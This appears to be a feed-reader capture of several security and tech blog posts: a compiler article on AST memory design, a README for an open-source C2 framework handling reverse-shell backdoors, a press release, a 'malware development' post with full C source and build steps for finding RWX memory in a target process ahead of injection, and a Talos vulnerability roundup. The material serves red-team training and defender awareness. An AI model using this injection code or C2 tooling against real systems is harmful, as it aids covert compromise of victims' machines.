Normal view

There are new articles available, click to refresh the page.
Today — 2 May 2024Main stream

The life and times of an Abstract Syntax Tree

2 May 2024 at 13:00

By Francesco Bertolaccini

You’ve reached computer programming nirvana. Your journey has led you down many paths, including believing that God wrote the universe in LISP, but now the truth is clear in your mind: every problem can be solved by writing one more compiler.

It’s true. Even our soon-to-be artificially intelligent overlords are nothing but compilers, just as the legends foretold. That smart contract you’ve been writing for your revolutionary DeFi platform? It’s going through a compiler at some point.

Now that we’ve established that every program should contain at least one compiler if it doesn’t already, let’s talk about how one should go about writing one. As it turns out, this is a pretty vast topic, and it’s unlikely I’d be able to fit a thorough disquisition on the subject in the margin of this blog post. Instead, I’m going to concentrate on the topic of Abstract Syntax Trees (ASTs).

In the past, I’ve worked on a decompiler that turns LLVM bitcode into Clang ASTs, and that has made me into someone with opinions about them. These are opinions on the things they don’t teach you in school, like: what should the API for an AST look like? And how should it be laid out in memory? When designing a component from scratch, we must consider those aspects that go beyond its mere functionality—I guess you could call these aspects “pragmatics.” Let’s go over a few of them so that if you ever find yourself working with ASTs in the future, you may skip the more head-scratching bits and go straight to solving more cogent problems!

What are ASTs?

On their own, ASTs are not a very interesting part of a compiler. They are mostly there to translate the dreadful stream of characters we receive as input into a more palatable format for further compiler shenanigans. Yet the way ASTs are designed can make a difference when working on a compiler. Let’s investigate how.

Managing the unmanageable

If you’re working in a managed language like C# or Java, one with a garbage collector and a very OOP type system, your AST nodes are most likely going to look something like this:

class Expr {}
class IntConstant : Expr {
    int value;
}
class BinExpr : Expr {
    public Expr lhs;
    public Expr rhs;
}

This is fine—it serves the purpose well, and the model is clear: since all of the memory is managed by the runtime, ownership of the nodes is not really that important. At the end of the day, those nodes are not going anywhere until everyone is done with them and the GC determines that they are no longer reachable.

(As an aside, I’ll be making these kinds of examples throughout the post; they are not meant to be compilable, only to provide the general idea of what I’m talking about.)

I typically don’t use C# or Java when working on compilers, though. I’m a C++ troglodyte, meaning I like keeping my footguns cocked and loaded at all times: since there is no garbage collector around to clean up after the mess I leave behind, I need to think deeply about who owns each and every one of those nodes.

Let’s try and mimic what was happening in the managed case.

The naive approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::shared_ptr lhs;
    std::shared_ptr rhs;
};

Shared pointers in C++ use reference counting (which one could argue is a form of automatic garbage collection), which means that the end result is similar to what we had in Java and C#: each node is guaranteed to stay valid at least until the last object holding a reference to it is alive.

That at least in the previous sentence is key: if this was an Abstract Syntax Graph instead of an Abstract Syntax Tree, we’d quickly find ourselves in a situation where nodes would get stuck in a limbo of life detached from material reality, a series of nodes pointing at each other in a circle, forever waiting for someone else to die before they can finally find their eternal rest as well.

Again, this is a purely academic possibility since a tree is by definition acyclic, but it’s still something to keep in mind.

I don’t know Rust that well, but it is my understanding that a layout roughly equivalent to the one above would be written like this:

enum Expr {
    IntConstant(i32),
    BinExpr(Arc<Expr>, Arc<Expr>)
}

When using this representation, your compiler will typically hold a reference to a root node that causes the whole pyramid of nodes to keep standing. Once that reference is gone, the rest of the nodes follow suit.

Unfortunately, each pointer introduces additional computation and memory consumption due to its usage of an atomic reference counter. Technically, one could avoid the “atomic” part in the Rust example by using Rc instead of Arc, but there’s no equivalent of that in C++ and my example would not work as well. In my experience, it’s quite easy to do away with the ceremony of making each node hold a reference count altogether, and instead decide on a more disciplined approach to ownership.

The “reverse pyramid” approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::unique_ptr lhs;
    std::unique_ptr rhs;
};

Using unique pointers frees us from the responsibility of keeping track of when to free memory without adding the overhead of reference counting. While it’s not possible for multiple nodes to have an owning reference to the same node, it’s still possible to express cyclic data structures by dereferencing the unique pointer and storing a reference instead. This is (very) roughly equivalent to using std::weak_ptr with shared pointers.

Just like in the naive approach, destroying the root node of the AST will cause all of the other nodes to be destroyed with it. The difference is that in this case we are guaranteed that this will happen, because every child node is owned by their parent and no other owning reference is possible.

I believe this representation is roughly equivalent to this Rust snippet:

enum Expr {
    IntConstant(i32),
    BinExpr(Box<Expr>, Box<Expr>)
}

Excursus: improving the API

We are getting pretty close to what I’d call the ideal representation, but one thing I like to do is to make my data structures as immutable as possible.

BinExpr would probably look like this if I were to implement it in an actual codebase:

class BinExpr : Expr {
    std::unique_ptr lhs, rhs;
public:
    BinExpr(std::unique_ptr lhs, std::unique_ptr rhs)
        : lhs(std::move(lhs))
        , rhs(std::move(rhs)) {}   
    const Expr& get_lhs() const { return *lhs; }
    const Expr& get_rhs() const { return *rhs; }
};

This to me signals a few things:

  • Nodes are immutable.
  • Nodes can’t be null.
  • Nodes can’t be moved; their owner is fixed.

Removing the safeguards

The next step is to see how we can improve things by removing some of the safeguards that we’ve used so far, without completely shooting ourselves in the foot. I will not provide snippets on how to implement these approaches in Rust because last time I asked how to do that in my company’s Slack channel, the responses I received were something like “don’t” and “why would you do that?” and “someone please call security.” It should not have been a surprise, as an AST is basically a linked list with extra steps, and Rust hates linked lists.

Up until now, the general idea has been that nodes own other nodes. This makes it quite easy to handle the AST safely because the nodes are self-contained.

What if we decided to transfer the ownership of the nodes to some other entity? It is, after all, quite reasonable to have some sort of ASTContext object we can assume to handle the lifetime of our nodes, similar to what happens in Clang.

Let’s start by changing the appearance of our Expr nodes:

struct BinExpr : Expr {
    const Expr& lhs;
    const Expr& rhs;
};

Now we create a storage for all of our nodes:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

Nice! node_storage is now the owner of all the nodes, and we can iterate over them without having to do a tree visit. In fact, go watch this talk about the design of the Carbon compiler, about 37 minutes in: if you keep your pattern of creating nodes predictable, you end up with a storage container that’s already sorted in, e.g., post-visit order!

Variants on a theme

Let’s now borrow a trick from Rust’s book: the Expr class I’ve been using up until this point is an old-school case of polymorphism via inheritance. While I do believe inheritance has its place and in many cases should be the preferred solution, I do think that ASTs are one of the places where discriminated unions are the way to go.

Rust calls discriminated unions enum, whereas C++17 calls them std::variant. While the substance is the same, the ergonomics are not: Rust has first class support for them in its syntax, whereas C++ makes its users do template metaprogramming tricks in order to use them, even though they do not necessarily realize it.

The one feature I’m most interested in for going with variant instead of inheritance is that it turns our AST objects into “value types,” allowing us to store Expr objects directly instead of having to go through an indirection via a reference or pointer. This will be important in a moment.

The other feature that this model unlocks is that we get the Visitor pattern implemented for free, and we can figure out exactly what kind of node a certain value is holding without having to invent our own dynamic type casting system. Looking at you, LLVM. And Clang. And MLIR.

Going off the rails

Let’s take a look back at an example I made earlier:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

There’s one thing that bothers me about this: double indirection, and noncontiguous memory allocation. Think of what the memory layout for this storage mechanism looks like: the vector will have a contiguous chunk of memory allocated for storing pointers to all of the nodes, then each pointer will have an associated chunk of memory the size of a node which, as mentioned earlier, varies for each kind of node.

What this means is that our nodes, even if allocated sequentially, have the potential to end up scattered all over the place. They say early optimization is the root of all evil, but for the sake of exhausting all of the tricks I have up my sleeve, I’ll go ahead and show a way to avoid this.

Let’s start by doing what I said I’d do earlier, and use variant for our nodes:

struct IntConstant;
struct BinExpr;
using Expr = std::variant<IntConstant, BinExpr>;


struct IntConstant {
    int value;
};
struct BinExpr  {
    Expr &lhs;
    Expr &rhs;
};

Now that each and every node has the same size, we can finally store them contiguously in memory:

std::vector node_storage;
node_storage.reserve(max_num_nodes);
auto &lhs = node_storage.emplace_back(IntConstant{3});
auto &rhs = node_storage.emplace_back(IntConstant{4});
auto &binexp = node_storage.emplace_back(BinExpr{lhs, rhs});

You see that node_storage.reserve call? That’s not an optimization—that is an absolutely load-bearing part of this mechanism.

I want to make it absolutely clear that what’s happening here is the kind of thing C++ gets hate for. This is a proverbial gun that, should you choose to use it, will be strapped at your hip pointed at your foot, fully loaded and ready to blow your leg off if at any point you forget it’s there.

The reason we’re using reserve in this case is that we want to make sure that all of the memory we will potentially use for storing our nodes is allocated ahead of time, so that when we use emplace_back to place a node inside of it, we are guaranteed that that chunk of memory will not get reallocated and change address. (If that were to happen, any of our nodes that contain references to other nodes would end up pointing to garbage, and demons would start flying out of your nose.)

Using vector and reserve is of course not the only way to do this: using an std::array is also valid if the maximum number of nodes you are going to use is known at compile time.

Ah yes, max_num_nodes. How do you compute what that is going to be? There’s no single good answer to this question, but you can find decent heuristics for it. For example, let’s say you are parsing C: the smallest statement I can think of would probably look something like a;, or even more extremely, just a. We can deduce that, if we want to be extremely safe, we could allocate storage for a number of nodes equal to the amount of characters in the source code we’re parsing. Considering that most programs will not be anywhere close to this level of pathological behavior, it’s reasonable to expect that most of that memory will be wasted. Unfortunately, we can’t easily reclaim that wasted memory with a simple call to shrink_to_fit, as that can cause a reallocation.

The technique you can use in that case, or in the case where you absolutely cannot avoid allocating additional memory, is to actually do a deep clone of the AST, visiting each node and painstakingly creating a new counterpart for it in the new container.

One thing to keep in mind, when storing your AST nodes like this, is that the size of each node will now be equal to the size of the largest representable node. I don’t think that this matters that much, since you should try and keep all of your nodes as small as possible anyway, but it’s still worth thinking about.

Of course, it might be the case that you don’t actually need to extract the last drop of performance and memory efficiency out of your AST, and you may be willing to trade some of those in exchange for some ease of use. I can think of three ways of achieving this:

  1. Use std::list.
  2. Use std::deque.
  3. Use indices instead of raw pointers.

Let’s go through each of these options one at a time.

Use std::list instead of std::vector

Don’t. ‘Nuff said.

Alright, fine. I’ll elaborate.

Linked lists were fine in the time when the “random access” part of RAM was not a lie yet and memory access patterns didn’t matter. Using a linked list for storing your nodes is just undoing all of the effort we’ve gone through to optimize our layout.

Use std::deque instead of std::vector

This method is already better! Since we’ll mostly just append nodes to the end of our node storage container, and since a double-ended queue guarantees that doing so is possible without invalidating the addresses of any existing contents, this looks like a very good compromise.

Unfortunately the memory layout won’t be completely contiguous anymore, but you may not care about that. If you are using Microsoft’s STL, though, you have even bigger issues ahead of you.

Use indices instead of raw pointers

The idea is that instead of storing the pointer of a child node, you store the index of that node inside of the vector. This adds a layer of indirection back into the picture, and you now also have to figure out what vector does this index refer to? Do you store a reference to the vector inside each node? That’s a bit of a waste. Do you store it globally? That’s a bit icky, if you ask me.

Parting thoughts

I’ve already written a lot and I’ve barely scratched the surface of the kind of decisions a designer will have to make when writing a compiler. I’ve talked about how you could store your AST in memory, but I’ve said nothing about what you want to store in your AST.

The overarching theme in this exhilarating overview is that there’s a lot about compilers that goes beyond parsing, and all of the abstract ideas needed to build a compiler need concretizing at some point, and the details on how you go about doing that matter. I also feel obligated to mention two maxims one should keep in mind when playing this sort of game: premature optimization is the root of all evil, and always profile your code—it’s likely that your codebase contains lower-hanging fruit you can pick before deciding to fine-tune your AST storage.

It’s interesting that most of the techniques I’ve shown in this article are not easily accessible with managed languages. Does this mean that all of this doesn’t really matter, or do compilers written in those languages (I’m thinking of, e.g., Roslyn) leave performance on the table? If so, what’s the significance of that performance?

Finally, I wanted this post to start a discussion about the internals of compilers and compiler-like tools: what do these often highly complex pieces of software hide beneath their surface? It’s easy to find material about the general ideas regarding compilation—tokenization, parsing, register allocation—but less so about the clever ideas people come up with when writing programs that need to deal with huge codebases in a fast and memory-efficient manner. If anyone has war stories to share, I want to hear them!

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers


The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

  1. Reverse TCP
  2. Reverse HTTP
  3. Reverse HTTPS (configure it behind an LB)
  4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

  • Management port: 9000
  • Reversse HTTP port: 8000
  • Reverse TCP port: 8888

  • Clone the repo

  • Optional: Update chait_id, bot_token in c2-telegram/config.yml
  • Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact



Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives

2 May 2024 at 12:07

Business Wire 03/25/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictability…

Read the entire article here

The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Yesterday — 1 May 2024Main stream

Vulnerabilities in employee management system could lead to remote code execution, login credential theft

1 May 2024 at 16:00
Vulnerabilities in employee management system could lead to remote code execution, login credential theft

Cisco Talos’ Vulnerability Research team has disclosed more than a dozen vulnerabilities over the past three weeks, five in a device that allows employees to check in and out of their shifts, and another that exists in an open-source library used in medical device imaging files. 

The Peplink Smart Reader contains several vulnerabilities, including one issue that could allow an adversary to obtain the administrator’s login credentials and the MD5-hashed version of their password. 

Talos also recently helped to responsibly disclose and patch other vulnerabilities in the Foxit PDF Reader and two open-source libraries that support the processing and handling of DICOM files. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

